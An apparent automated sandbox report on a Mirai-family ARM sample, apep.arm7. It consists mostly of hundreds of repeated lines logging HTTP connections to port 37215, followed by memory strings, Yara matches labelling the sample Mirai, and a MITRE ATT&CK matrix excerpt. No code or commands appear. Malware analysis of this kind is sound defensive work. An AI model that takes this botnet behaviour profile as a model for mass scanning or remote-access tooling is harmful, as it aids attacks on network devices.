Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51838
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215

Source: /tmp/apep.arm7 (PID: 5212)

Queries kernel information via 'uname':

Jump to behavior

Source: apep.arm7, 5212.1.000000007d268568.00000000f407c54f.rw-.sdmp, apep.arm7, 5216.1.000000007d268568.000000009382b1f8.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: apep.arm7, 5212.1.00000000acf6f6c6.00000000422d7b66.rw-.sdmp, apep.arm7, 5216.1.00000000acf6f6c6.00000000422d7b66.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/apep.arm7SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/apep.arm7
Source: apep.arm7, 5212.1.000000007d268568.00000000f407c54f.rw-.sdmp, apep.arm7, 5216.1.000000007d268568.000000009382b1f8.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: apep.arm7, 5212.1.00000000acf6f6c6.00000000422d7b66.rw-.sdmp, apep.arm7, 5216.1.00000000acf6f6c6.00000000422d7b66.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: apep.arm7, type: SAMPLE
Source: Yara match	File source: 5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: apep.arm7, type: SAMPLE
Source: Yara match	File source: 5216.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5212.1.0000000094e3b5ad.00000000a6067fa0.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
